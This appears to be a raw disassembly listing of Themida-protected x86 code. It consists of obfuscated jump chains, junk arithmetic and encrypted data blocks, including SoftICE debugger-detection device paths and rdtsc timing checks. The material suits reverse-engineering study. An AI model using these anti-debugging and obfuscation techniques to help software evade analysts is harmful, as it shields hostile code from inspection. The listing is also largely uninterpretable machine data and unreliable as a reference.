0E068FFFFh, 5D7EDF6Ch, 85F9E945h, 0E829FFFFh dd 0FF6774E9h, 4EF83FFh, 5C243C87h, 24048F54h, 0FF264BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5671B1: ; CODE XREF: Themida_:0055F6E1j push edi mov edi, 723418E9h jmp loc_556B31 ; --------------------------------------------------------------------------- dd 0FF5EF701h, 835B2434h, 88E904C4h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5671CB: ; CODE XREF: Themida_:005552DDj xor ebp, [esp] pop esp jmp loc_55DE91 ; --------------------------------------------------------------------------- loc_5671D4: ; CODE XREF: Themida_:0055CD11j push eax jmp loc_56530D ; --------------------------------------------------------------------------- dw 565Dh dd 4BEh, 5EF50100h, 3304C583h, 2C31242Ch, 0C69AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5671F2: ; CODE XREF: Themida_:00555CC9j pop esp or eax, eax jz loc_564F9C push ebx mov ebx, 1Ch push eax mov eax, 1CC6499Ch sub eax, 0D30307A5h jmp loc_561B36 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0CBh dd 0E942524Eh, 0FFFEF474h, 515DEE01h, 4B9h, 59CE0100h dd 0E9243487h, 0FFFFB6DCh ; --------------------------------------------------------------------------- loc_567230: ; CODE XREF: Themida_:00553E7Cj sub ebp, 0FFFFFFFFh or ebp, 22540F06h neg ebp xor ebp, 2DA00E87h xor esi, ebp pop ebp and esi, 651C097Bh xor esi, 1ED3381Ch and esi, 48E6E82h sub esi, 0B788F53Bh add ebp, esi pop esi mov eax, [esp] add esp, 4 push eax jmp loc_55BFDF ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FF66F1E9h, 5A3CBAFFh, 0F231299Bh, 96CA815Eh, 0E9468C23h dd 0FFFF8736h, 89241C89h, 0EFFFE9E3h, 0E981FFFEh, 3A8B532Ah dd 0FFCC94E9h db 0FFh ; --------------------------------------------------------------------------- loc_5672A1: ; CODE XREF: Themida_:0056396Dj mov [esp], esi push 730E4C55h pop esi and ecx, esi jmp loc_56134A ; --------------------------------------------------------------------------- db 59h, 0E9h, 0ADh dd 81FFFF3Bh, 0EA47F5EBh, 0C3835F53h, 34C8E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5672C6: ; CODE XREF: Themida_:005627F0j sub bl, dl push dword ptr [esp] jmp loc_564F67 ; --------------------------------------------------------------------------- dd 5CF68166h, 0BA665223h, 0C16652EBh, 816606EAh, 664F2CCAh dd 0D7BD6655h, 0EA096656h, 81665D66h, 0E91FD4F2h, 0FFFF8178h dd 4C48158h, 0F7000000h, 8EAB35D8h, 0C189B1B2h, 319E9h db 0 ; --------------------------------------------------------------------------- loc_56730D: ; CODE XREF: Themida_:005679AEj neg edi and edi, 1E72260h jmp loc_55E9ED ; --------------------------------------------------------------------------- dw 1C8Bh dd 0B11CE924h, 15AFFFFh, 0EDC158C5h, 1B12E906h, 0EC83FFFFh dd 0DBC1E904h, 0E380FFFFh, 0BAC380B1h, 0FF5AE6E9h, 0B97DE9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567346: ; CODE XREF: Themida_:0055AF1Bj pop ecx add esp, 4 sub ecx, 0FA20B6Eh push 50F1h mov [esp], ecx jmp loc_55B5C4 ; --------------------------------------------------------------------------- dd 0B1C98149h, 811A9447h, 803C78E1h, 0BD4DE94Ah, 0F281FFFEh dd 1C113246h, 148BD001h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 74FF505Ch, 0ACE90424h db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567397: ; CODE XREF: Themida_:005597F7j xor [esp], ebp xor ebp, [esp] pop esp or edx, eax shl edx, 1 push 56B5h mov [esp], eax push 24h jmp loc_55A3DC ; --------------------------------------------------------------------------- loc_5673B4: ; CODE XREF: Themida_:00556EBBj sub bl, ch mov ecx, [esp] add esp, 4 add bl, al jmp loc_560FE4 ; --------------------------------------------------------------------------- db 55h dd 0FFFDC5E9h, 92D029FFh, 0D949E958h, 0C483FFFFh, 4B684704h dd 8900000Ch, 5755241Ch, 0AE564BBFh, 0E9FD893Dh, 0FFFED841h dd 0E9243C8Bh, 0FFFF9663h ; --------------------------------------------------------------------------- loc_5673F4: ; CODE XREF: Themida_:005626C6j add edi, 4 add edi, 4 push 3237h mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_552CC3 ; --------------------------------------------------------------------------- db 5Dh dd 0E924048Fh, 0FFFFF203h, 7B6C68h, 24348900h, 0C681E689h dd 4, 566DBB53h, 0F74B2BE5h, 0FCE956D3h, 9FFFF27h, 1C8B1C5Fh dd 73BE6824h, 1C890000h, 505B5424h, 0FFFAA7E9h, 80CCFEFFh dd 88528EF4h, 5AF188E6h, 0B3536658h, 0B997E9E8h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56746E: ; CODE XREF: Themida_:0056357Ej push 60ABh jmp loc_5670E0 ; --------------------------------------------------------------------------- loc_567478: ; CODE XREF: Themida_:0055A3ABj mov ecx, 14455C5Ah mov edi, ecx pop ecx add edi, 0EBBAA3AAh add edx, 451A58BAh add edx, edi jmp loc_5663EA ; --------------------------------------------------------------------------- loc_567493: ; CODE XREF: Themida_:00553E6Fj mov edi, ecx jmp loc_558CAB ; --------------------------------------------------------------------------- dw 0F741h dd 3EBE56D9h, 0C1311B21h, 0E6D108EEh, 6862C681h, 0F1013A43h dd 59CB295Eh, 1EF8F381h, 0F3816B5Ah, 231220E5h, 7FDAF381h dd 0D901593Fh, 0FA68575Bh, 8900005Dh, 32BA2414h, 890ABA1Fh dd 0EFC15AD7h, 0EFE78107h, 810D2E4Fh, 4ECh, 0F2AEE900h dd 8145FFFFh, 5A0C4CCDh, 8501E970h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5674FA: ; CODE XREF: Themida_:0055F53Cj sub ecx, 56430E2Dh push dword ptr [esp] jmp loc_5564D8 ; --------------------------------------------------------------------------- dd 0FEB7B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_56750D: ; CODE XREF: Themida_:0055DA67j add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_555CC6 ; --------------------------------------------------------------------------- dw 0B966h dd 29667186h, 665966CBh, 72BC381h, 4D5B6866h, 24048966h dd 280DB866h, 0FFABD6E9h db 0FFh ; --------------------------------------------------------------------------- loc_56753D: ; CODE XREF: Themida_:0055E25Dj mov [esp], ebp pop ecx pop ebp push esi push ecx pop esi pop ecx jmp loc_55CA5C ; --------------------------------------------------------------------------- db 5Bh dd 0F7AFE952h, 0E953FFFFh, 0FFFED149h, 4EC5E951h, 0D501FFFFh dd 0E92434FFh, 0FFFFAEA0h, 0EAB366B0h, 8058C330h, 36E9F0EBh db 0D3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567577: ; CODE XREF: Themida_:00564343j push esp pop ecx jmp loc_55A958 ; --------------------------------------------------------------------------- dw 0D2F7h dd 7544E281h, 0F28106BDh, 2D5004h, 0E95AD589h, 0FFFFC29Ch dd 771AF381h, 0D8897CF0h, 0FF5963E9h, 241487FFh, 0FF24248Bh dd 68582434h, 49C2h, 89241489h, 4EC81E2h, 0E9000000h, 0FFFF4BEAh dd 8904EC83h, 0B151241Ch, 59CB881Ch, 0E908EBC0h, 0FFFF456Dh ; --------------------------------------------------------------------------- loc_5675D4: ; CODE XREF: Themida_:0055BC67j shr ecx, 5 xchg ebx, ecx not ebx xchg ebx, ecx add ecx, 34F9A45h add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5570D4 ; --------------------------------------------------------------------------- loc_567602: ; CODE XREF: Themida_:00558DCBj push dword ptr [esp] pop esi add esp, 4 jmp loc_560037 ; --------------------------------------------------------------------------- loc_56760E: ; CODE XREF: Themida_:0055FC4Ej xor edi, 82FBF7CCh push edi pop ecx push dword ptr [esp] pop edi push edx jmp loc_553C48 ; --------------------------------------------------------------------------- dd 0DD19E959h, 48BFFFFh, 4C48324h, 4EC81h, 4890000h, 5FBEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56763A: ; CODE XREF: Themida_:005538A6j add esp, 4 mov edi, eax pop eax and eax, edi mov edi, [esp] sub esp, 4 mov [esp], ebx jmp loc_560906 ; --------------------------------------------------------------------------- loc_567653: ; CODE XREF: Themida_:0055F4F5j sub eax, 29D36164h push dword ptr [esp] jmp loc_55BE32 ; --------------------------------------------------------------------------- dd 0FE1BC281h, 0F3E9FB7Dh, 68FFFFFEh, 41D4h, 0B8240489h dd 4D876318h, 0CDBF5750h, 31624A0Ch, 5F04247Ch, 25B9515Dh dd 0E913FA2Dh, 0FFFFCF3Fh, 0EB81EB01h, 5781309Ch, 0C738E95Dh dd 2805FFFEh, 5A239D2Fh, 0C62DD801h, 0E92DE85Ah, 0FFFF6B42h dd 5AB7E941h, 487FFFFh, 0D6E95C24h, 0B8FFFF93h, 1253359Ah dd 0FFBEFFE9h, 8E1C0FFh, 80FFC180h, 0CA3018F1h, 6728E959h dd 595DFFFFh, 0FFC58359h, 47E3ED81h, 0EE295298h, 0DABD555Dh dd 53627C67h, 0FFB602E9h, 58C701FFh, 815FFE89h, 0CF04E3F6h dd 5EF70142h, 9691E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56770A: ; CODE XREF: Themida_:0055B0F4j add esp, 4 pop ebx sub bl, ch mov cx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_55B7B1 ; --------------------------------------------------------------------------- db 0B9h, 2, 0 dd 0CF010000h, 243C8759h, 6624248Bh, 66C8AF0Fh, 84E99C51h db 0B5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56773F: ; CODE XREF: Themida_:00566622j jmp loc_552CC3 ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 3EBC100h, 0FFC4E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_567755: ; CODE XREF: Themida_:005553AFj sub ebx, edx add ebx, 6322487Bh push 138Eh mov [esp], edi jmp loc_55E520 ; --------------------------------------------------------------------------- loc_56776A: ; CODE XREF: Themida_:00562733j mov ebx, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push 1 push dword ptr [esp] pop eax push esi push 7174h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 jmp loc_55BB5E ; --------------------------------------------------------------------------- loc_567797: ; CODE XREF: Themida_:0055E7BCj mov [esp], ebx jmp loc_561D0B ; --------------------------------------------------------------------------- db 89h dd 0DABB241Ch, 810AE350h, 6502CBCBh, 0DECB813Dh, 87055D56h dd 0E9D7F7FBh, 0FFFF7DA7h ; --------------------------------------------------------------------------- loc_5677BC: ; CODE XREF: Themida_:0055D27Aj neg ebp xor ebp, 59EC9136h jmp loc_5618E0 ; --------------------------------------------------------------------------- loc_5677C9: ; CODE XREF: Themida_:00555898j add esi, edi mov edi, [esp] add esp, 4 add eax, 4C7A262Ch sub eax, esi sub eax, 4C7A262Ch pop esi push edx push 0D59h mov [esp], ebx push 0B235C6Dh push dword ptr [esp] pop ebx add esp, 4 push eax jmp loc_55CCEE ; --------------------------------------------------------------------------- dword_5677FC dd 9D1C77FFh, 14D35966h, 0B8E99C24h, 0FFFFFEB4h, 348B2434h ; DATA XREF: Themida_:00552BFCo dd 4C48124h, 0E9000000h, 0FFFEFB12h, 9ABE56h, 81466E6Ah dd 0C21946F6h, 0C1D6F755h, 0EE8105EEh, 0F71192A7h, 315EF331h dd 9A99E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56783E: ; CODE XREF: Themida_:00567129j pop dword ptr [esp] pop esp mov [edx+30h], ebx jmp loc_561AD4 ; --------------------------------------------------------------------------- loc_56784A: ; CODE XREF: Themida_:00556B37j add [edx+38h], edi pop edi jmp loc_55960B ; --------------------------------------------------------------------------- db 0BFh dd 4, 0FF2E25E9h, 5EF089FFh, 74E9C831h, 0FEFFFF38h, 0D98851C3h dd 0CB88D1F6h, 0FED775E9h db 0FFh ; --------------------------------------------------------------------------- loc_567875: ; CODE XREF: Themida_:00565F9Cj add edi, 4 xor edi, [esp] jmp loc_554D62 ; --------------------------------------------------------------------------- dd 17DBCF81h, 0EFC16D9Bh, 2EFC102h, 8104E7C1h, 0C36FEFF7h dd 5FF98941h, 15FF931h, 2434FFCEh, 4C48359h, 2474FF56h dd 48F5E04h, 0C90E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5678B2: ; CODE XREF: Themida_:0055D52Bj add [esp+4], edx add dword ptr [esp+4], 7E2F00E0h jmp loc_55C65B ; --------------------------------------------------------------------------- db 81h dd 9F4AFEC6h, 0E9EE0143h, 0FFFFDB23h, 23E0ED81h, 0ED815682h dd 0F88A35F2h, 0FF615FE9h, 4C481FFh, 0E9000000h, 0FFFEB3D7h dd 79D92D58h, 0D0291D28h, 2879D905h, 24148B1Dh, 5F04C483h dd 79D568h, 24048900h, 0B12C32B8h, 58C32908h, 6C556855h dd 8F540000h, 4812404h, 424h, 57E95D00h, 81FFFF58h, 3B6816EDh dd 81D50153h, 3B6816C5h, 515F5A53h, 2F0D4EB9h, 83D1F755h dd 0FF51FFE9h, 81592404h, 0D0F2B1E9h, 0E182E9AAh, 48FFFFEh dd 24248B24h, 9C240CFEh, 0FFFBA7E9h, 4C483FFh, 0F01BBB53h dd 0DA01CC0Dh, 0F3C3815Bh, 1579268h, 0F3EB81D3h, 8B579268h dd 0C4832414h, 241C3304h, 33241C31h, 248B241Ch, 24040824h dd 6786E99Ch, 5150FFFFh, 0EC88BCB5h, 0FFEFD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5679A1: ; CODE XREF: Themida_:0055BAD0j push 1DDh mov [esp], edi mov edi, 67F571DEh jmp loc_56730D ; --------------------------------------------------------------------------- db 0E8h dd 0Bh, 0FC030318h, 0AA54B0DEh, 0E8F9E3CDh, 11h, 3E8DD63Fh dd 0B711B155h, 362BBC37h, 75D45FE6h, 3820FBBh, 66000000h dd 5F5BC18Bh, 5800Fh, 2EBB0000h, 817F8B58h, 726FC7h, 68F500h dd 66000000h, 0C183C081h, 0DAB70F5Eh, 663E34FFh, 59DE37B8h dd 0BDBE5260h, 5F36513Ch, 0CE9h, 0B6035D00h, 4179F87Dh dd 0AA622E9Ah, 0C18161CBh, 5B2A1E4h, 0B429E281h, 0F18133A3h dd 3BC04326h, 0CE8h, 0D6171500h, 0B62E66F5h, 0B7CC7C72h dd 68C0F08h, 0F000000h, 89h, 0C1815B00h, 4533BB50h, 0C89D18Bh dd 0E3816637h, 8166D0B8h, 83CAC0DBh, 0D4BA04EEh, 811F3B16h dd 0FF8E64FEh, 85850FFFh, 0E9FFFFFFh, 0Bh, 0B543232Ch dd 0F84B4339h, 0EB7AE807h, 45535536h, 2E323352h, 6C6C64h dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch dd 0D7006C6Ch, 1000907h, 2001800h, 2D000600h, 17026000h dd 0E92C7AD0h, 8E4h, 0E693D268h, 0EAB8E905h, 6C68FFFDh dd 0E905E694h, 0FFFDEAAEh, 0E6958C68h, 0EAA4E905h, 2C68FFFDh dd 0E905E697h, 0FFFDEA9Ah, 0E6979368h, 0EA90E905h, 9268FFFDh dd 0E905E698h, 0FFFDEA86h, 0E6991368h, 0EA7CE905h, 0BD3EFFFDh dd 0D3878302h, 60E93154h, 0BA3CE6E9h, 0D1849E01h, 0D7E63756h dd 0F19413C2h, 0AB2AA529h, 5F7EF97Fh, 0F29514C3h, 492B144Bh dd 0AB54EB79h, 0E6CC86DDh, 0D7C3A57Dh, 0AF2A74C8h, 0B71C6F28h dd 0D3B230EDh, 0E928D592h, 0A66EA154h, 0C334C059h, 827B2Eh dd 3CE3605Dh, 50833127h, 3B904D78h, 0B3A038BFh, 0D2839F7Eh dd 0B4CE0557h, 77D68304h, 0C325BC0Eh, 70D7182Eh, 0AB2AAD2Ah dd 7841F87Fh, 45F1A219h, 63773E9Ah, 0A5000007h, 0E14BB32h dd 50CACD4Ah, 0A37F1E99h, 0B17B631h, 5FC8CF4Ah, 0D844960h dd 0A3DC908Ah, 0F770E63Ch, 0A8D4AD0h, 50ADFC8Bh, 54EB78D2h dd 0CC7F5452h, 0CAE278E6h, 5E3BD3C0h, 41048734h, 0A0039559h dd 0D693228Fh, 0BA1EFB2Ch, 71D4560Fh, 0EC41F20Ch, 0C53A9954h dd 54EB4167h, 0BDBF80C5h, 3F54EB40h, 0A4CE8BFCh, 0C076AC73h dd 0DB9A8047h, 70D70C5Ch, 0EB412D0Fh, 834C8F54h, 0A5B026FCh dd 0EB40DA58h, 3EB05A54h, 0CB3C3785h, 0B338C296h, 85C4B338h dd 61EB1C49h, 6C980h, 21581B00h, 73F464BEh, 8403B66Ch dd 0DC571901h, 75EC61B9h, 0AFFAC552h, 0F62CB32Eh, 5CC6C946h dd 0A07A1D9Eh, 962DB02Bh, 7A6CCE37h, 0B2C854EBh, 60C077E5h dd 0AA3E73ECh, 8A0DB90h, 0A99675DCh, 4F04E5CBh, 0DE9CE629h dd 0AAD6F05Dh, 14CD2063h, 4A492Eh, 778C0000h, 73EC60C0h dd 52CE9F3Eh, 4F04E5CCh, 85088348h, 0C74532h, 0E956363Fh dd 32954654h, 2AE760E8h, 0E894F5Bh, 9597E84Fh, 1754E954h dd 0CE546B24h, 69C88F08h, 0B404BF31h, 54E446BFh, 8F4054E9h dd 2B2F96C2h, 7E000006h, 7349C077h, 440B8946h, 8736985Eh dd 4E85D708h, 0D4DD2285h, 0A054E909h, 8A280FDh, 0B15254E9h dd 4EE374Ah, 0AD9E514Dh, 0E97BF02Ah, 0EC0EF262h, 90E653B4h dd 1594435Fh, 345B8C47h, 0B7169441h, 0D067BB4Eh, 98E5445Ah dd 4F07629Ah, 0FE79F01Ah, 75A6C08Dh, 49C28892h, 5BDC9C86h dd 6679D201h, 24943EBCh, 0E9DA09A3h, 5098F2D3h, 73A096A8h dd 0A7147EDBh, 37BA8724h, 4F0D222Dh, 5A9E6h, 0C178FB00h dd 139444DEh, 0A423968Ch, 0FC77F921h, 158C41D9h, 8F1AA572h dd 0D64C53CEh, 3CE6E966h, 809A3DBEh, 0B64D50CBh, 7B8CEED7h dd 92E854EBh, 49C077C5h, 86485273h, 9146400Dh, 0E5B9BB84h dd 0D13B4F04h, 1AC9E31Ah, 68E4F429h, 6EEA2E52h, 434F04E8h dd 7190B69Ch, 0F9D55202h, 503DDCA2h, 154F241Eh, 0FED5552Eh dd 7780FFFFh, 278649C0h, 4E65CDEh, 0BA17D84Fh, 68EAA31Eh dd 0F58F58A5h, 1DE754E8h, 2AEDDE59h, 0F69C50C0h, 0D2BFAB44h dd 8D0FF8B3h, 408F5CAh, 9A645ACEh, 0F90359DEh, 5085F671h dd 85FA5978h, 4F05C2A7h, 39F4CB05h, 564E1956h, 0E64BA865h dd 2E4F05AFh, 8D9F2DAAh, 0DC7E4ACDh, 0B03A3684h, 0A502B55h dd 0D4FBCE06h, 0CD719BFEh, 4885BD63h, 0A64B875Dh, 6E6825D6h dd 5198EB22h, 8DC12E15h, 0E2000001h, 63470188h, 0FE5B9100h dd 0A56348D9h, 227CFF7Dh, 915835B2h, 4CCB8F24h, 2E4BB41Bh dd 0DD54E910h, 3D9611C5h, 839F7EB1h, 7AF8C5D2h, 0FA54E910h dd 0BD0BC439h, 32300DECh, 0B254E910h, 0B2AF9441h, 192EC32Ch dd 1BE745BAh, 92452B43h, 7857239h, 34B9E140h, 5B342FBDh dd 2744F91Ah, 36827531h, 9D40C2BBh, 0C33D52A0h, 3C58B22Eh dd 131B82F1h, 6CEB6AB4h, 0D3B2E75Ch, 0EA31330Ch, 40B32B42h dd 0E9C2A09Dh, 0F1222B42h, 3E24124h, 42EA4022h, 9E7BBC2Bh dd 935DC774h, 0A4E9D506h, 0A8721546h, 91F3B123h, 4549EA75h dd 0D108AB10h, 6DEF45F1h, 40984h, 61985B00h, 0B334A47Eh dd 0C443F62Ch, 1C9759C1h, 0B52CA179h, 0EFBA0512h, 36ECF36Eh dd 9C860986h, 0E03A5DDEh, 56EDF06Bh, 7D2C0E77h, 0F28854EBh dd 0ED6FD8A5h, 7933D52Ah, 0B0EA54EBh, 0ADC9823Dh, 0F97FAB6Ah dd 0C7389F7Eh, 54EB7865h, 22B631A7h, 8942B531h, 2DAE2CF6h dd 4FCE8D9Fh, 494F4F6Eh, 5918B01Ch, 3A2h, 0D5F873E4h, 8B0A8D4Dh dd 385FDA9Fh, 0D0F770E2h, 890C8B4Ah, 0C588219Ch, 1FDF4B4Ah dd 0B725FDE0h, 0C2899134h, 0EEBD444Bh, 0EB7C9391h, 3C6B1154h dd 7349C077h, 0D1EB62E9h, 9F5B4765h, 4F04E783h, 0C9FC46B8h dd 0EC6D2E14h, 0A8FFFFFCh, 7349C077h, 9824852h, 0F06680B3h dd 25EE6577h, 0B41B9956h, 0E9133E4Bh, 67D5CD54h, 0B21FD4E4h dd 17C0C708h, 0CDBA6048h, 0E682E0DDh, 31E24F04h, 8B2419FCh dd 0EB54E910h, 86D24D01h, 4BF314Dh, 50260CD3h, 7E989274h dd 8AFF78FAh, 400877C1h, 5BFD00FBh, 0DEBD60E2h, 3C9912C4h dd 0DCE056F7h, 0ED3C1602h, 76347FDDh, 9062C03Dh, 11C2F71Ch dd 0E4D1EBDCh, 68CA3B2Bh, 0C4F71C90h, 0CB46F713h, 0FCCE3796h dd 58FD00C9h, 9C4D468Eh, 0FE33DEB4h, 0D554031Fh, 0D0529372h dd 2CFCF89Dh, 389F2EEBh, 1AF770E2h, 0FBC07BF0h, 743C29B4h dd 0A320814Bh, 0E5000002h, 4ED4FB72h, 908A0D8Ah, 0E33F5ED9h dd 4BD7F671h, 9F880F8Ah, 4DC48920h, 0E31CD04Ah, 37B026FCh dd 4ACD8A90h, 90EDBC4Bh, 54EB7D92h, 0CC3F9412h, 0D3E966D6h dd 0D9560660h, 34875083h, 0B716F97Bh, 0AC2D85Bh, 612ACA8Dh dd 0EBCC0800h, 0E4AB6C54h, 0D7803FBEh, 2BAC2A70h, 66F87EA4h dd 8CF80342h, 0C296CB9Dh, 5911B338h, 5FF1734Ch, 807354EBh dd 95C67D4Fh, 4967B1D4h, 6FD6821Ch, 222h, 5578F364h, 0B8A0DCDh dd 0B8DF5A1Fh, 5077F062h, 98C0BCAh, 4508A11Ch, 9F5FCBCAh dd 37A57D60h, 420911B4h, 6E3DC4CBh, 0EB7F1311h, 0BCEB9154h dd 0E562D6CCh, 0E65FDD22h, 1ADD4F04h, 8F0DFAB1h, 0B58A69C8h dd 4F04E5B7h, 2809C235h, 54EB7930h, 0D6CC9344h, 94E7E661h dd 84F95CD6h, 54EB77B0h, 6BF1CB0Ch, 149346EAh, 69C88923h dd 0EB781614h, 0F2704D54h, 7254EB77h, 79D20581h, 47C2739Dh dd 0B2396140h, 2F9B5E3Bh, 703E2A5h, 0C542F256h, 4E0B7CF7h dd 0EB780B61h, 0CE8F6954h, 0B04A1E53h, 9228803Bh, 4548C388h dd 0CD9F1EDDh, 21896F00h, 0D04B00E1h, 67E655CDh, 8B06B755h dd 0DAC6A431h, 9A3DBC3Bh, 0F168EF3Bh, 0FC7BFA24h, 0AA5061ECh dd 0AC21C0C0h, 0CFDB5C1Ch dd 93A8E09h, 0A32971D4h, 0C2586F28h, 0BD3CBD13h, 0E9C3342Fh dd 894BE553h, 3F8FDD0Eh, 1B772D55h, 0E9602B0Ah, 2E58246Eh dd 7DF01AF7h, 0DCEC6BEBh, 8C533267h, 0EB55B1B3h, 54E36354h dd 0C5F78A79h, 3BE3FD9h, 8C49BAA9h, 33AA21F9h, 76E23899h dd 9FDF24F1h, 0BF0D5EB0h, 8F4CADD5h, 4B2A890Ch, 99E9F87Ah dd 2CAA740Ch, 0F12211ABh, 0D37DFA24h, 1ED5E762h, 0C88D9F2Dh dd 87DF678h, 0D8D8A2B0h, 543BB239h, 0B7248A4Eh, 7AAFA434h dd 8518F56Eh, 0C17AFC26h, 739F78EBh, 7A7745C4h, 3BB4268Dh dd 0B93E07C6h, 3D127E06h, 15F4DBFAh, 75FE4A28h, 2E0C7107h dd 8E0775FEh, 330C514Dh, 775FE31h, 420F40B3h, 45A53EF7h dd 0E00E9BA5h, 5DB5184Dh, 77F41172h, 441BF46Ch, 5CA1EF7Bh dd 652850Dh, 0D1F477E4h, 0B10B8249h, 38ECD38Eh, 0A48E4F36h dd 6459258Ch, 0E3101F06h, 5C59B566h, 0B41EFB77h, 0AF2EAD4Ch dd 0C245F228h, 7B3EFF6h, 0A5122880h, 0FA24F122h, 1DEDFF78h dd 9114BB7h, 68F2C641h, 0D83267E0h, 0C28E1C38h, 4A5401B6h dd 0C5A7988Dh, 27E310C5h, 61C83F4h, 0C382D651h, 0CE9A15C7h dd 305B815h, 50000000h, 0C4775106h, 6EED7F4Dh, 894FDDEFh dd 2CA0BA0Eh, 520319B3h, 0F66785D7h, 19DB617Bh, 0B930CA9Eh dd 0D890AA3Eh, 50B30D5Fh, 405E089h, 83000000h, 48704E8h dd 2C895C24h, 25856824h, 1C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ecx mov ecx, 5E69349h mov ebx, ecx mov ecx, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 push ebx add dword ptr [esp], 332D6536h pop dword ptr [esi+8] push eax mov eax, 6FF80235h sub eax, 3CCA9CFFh sub [esi+8], eax pop eax mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_54658E ; --------------------------------------------------------------------------- db 4Eh, 75h, 0FDh dd 214ED707h, 32C4242Ch, 0E69B5AB8h, 0FFC50305h, 187E15E0h dd 21580004h, 0B5380165h, 0EB26BA54h, 98D6F10Ah, 0FEBDD10Ch dd 0FF464A5Fh, 5EEA3D1Dh, 415B8B08h, 0ACF00A50h, 0C010070Bh dd 92846A66h, 0FDB1866Dh, 0D6ABA057h, 0F4F5626h, 9C12694Bh dd 2D4C9863h, 6B1F1E79h, 1C5C8F7Fh, 71E919h, 83600000h dd 0E41021BDh, 840F0005h, 5, 5CE9h, 80006A00h, 850F303Eh dd 8, 0E946006Ah, 35h, 0F333E80h, 885h, 46106A00h, 24E9h dd 343E8000h, 8850Fh, 306A0000h, 13E946h, 3E800000h, 8850F35h dd 6A000000h, 2E94640h, 6A000000h, 0F9858D00h, 9005E402h dd 50969050h, 0FF006A96h, 0E40CC995h, 0C6C36105h, 0E42A4985h dd 46684D05h, 81AC71EEh, 98EE2434h, 0B5FF0844h, 5E42379h dd 3994858Dh, 0D0FF05E4h, 0CC98589h, 1EEB05E4h, 5C2E5C5Ch dd 45434953h, 2E5C5C00h, 5749535Ch, 444956h, 5C2E5C5Ch dd 4349544Eh, 0C08B0045h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 5CC35646h, 6667B3D8h, 83E18BBAh, 0E416A1BDh dd 9750005h, 220DBD83h, 740005E4h, 8B535019h, 40FB8C0h dd 85890000h, 5E42215h, 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh dd 5E4220Dh, 50177400h, 40FB853h, 85890000h, 5E42215h dd 0A5DA9D8Dh, 0D3FF05E6h, 10E9585Bh, 47000000h, 9E56DFFAh dd 2F527473h, 926EA2B2h, 0F9E20198h, 860FC08Bh, 0Ch, 6800Fh dd 0BD8B0000h, 5E414D5h, 2DB98589h, 85C605E4h, 5E42A49h dd 53006A43h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 68F62FD6h, 2FC8FEB0h, 7E80368h, 0F000000h dd 411DECAEh, 59FC1856h, 2F6E3768h, 15840F9Ah, 0E8000000h dd 0Dh, 9E604F5Ch, 1DE7A2D5h, 33D129Ah, 5A6160D6h, 0C5240481h dd 33225F00h, 0E42D498Dh, 0E5B5FF05h, 8D05E428h, 0E4399485h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 95A8252h, 0D91F29EFh, 9D89D0FFh, 5E42BA9h dd 0ECB95090h, 90549827h, 6E8h, 0D0D4FC00h, 0E9B376C6h dd 5, 1C437CB7h, 6A5EB0h, 0CCD9589h, 836805E4h, 81564E4Ch dd 4C032434h, 31F5564Eh, 0E423C1BDh, 0E8036A05h, 11h, 93EA5DDCh dd 17F1680Dh, 4C5F0ED2h, 504F4CFEh, 699D8998h, 5E05E413h dd 0BE50006Ah, 48882263h, 0F036A5Eh, 8068F8BFh, 0E8813EE1h dd 13h, 0FB56A2CAh, 687BD5C1h, 5A86B4DFh, 0CCFECC15h, 59047199h dd 80240481h, 0E93EC11Eh, 0Ah, 0A2D1195Eh, 84B0AECBh, 9D8D76A7h dd 5E69CDBh, 16159509h, 505005E4h, 66310F52h, 585AC88Bh dd 0FF241C89h, 0D18B66D0h, 0E2850F40h, 0F000002h, 2958CFB7h dd 0E413018Dh, 12E99005h, 0C5000000h, 1CBFD479h, 1A7CA0ACh dd 1F9B372Ch, 7796711Bh, 0CF8B503Ah, 3DBFBF90h, 6A44A2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 25C35646h dd 0A9B58B6Fh, 6805E417h, 5897819Bh, 0FEF3C8BEh, 24348112h dd 5897811Bh, 4EA8166h, 0BA036A8Ah, 64D8D0E4h, 8166006Ah dd 0F9898EF2h, 8589036Ah, 5E41369h, 4D79F4B9h, 4E85Ah dd 0 dd 6660C000h, 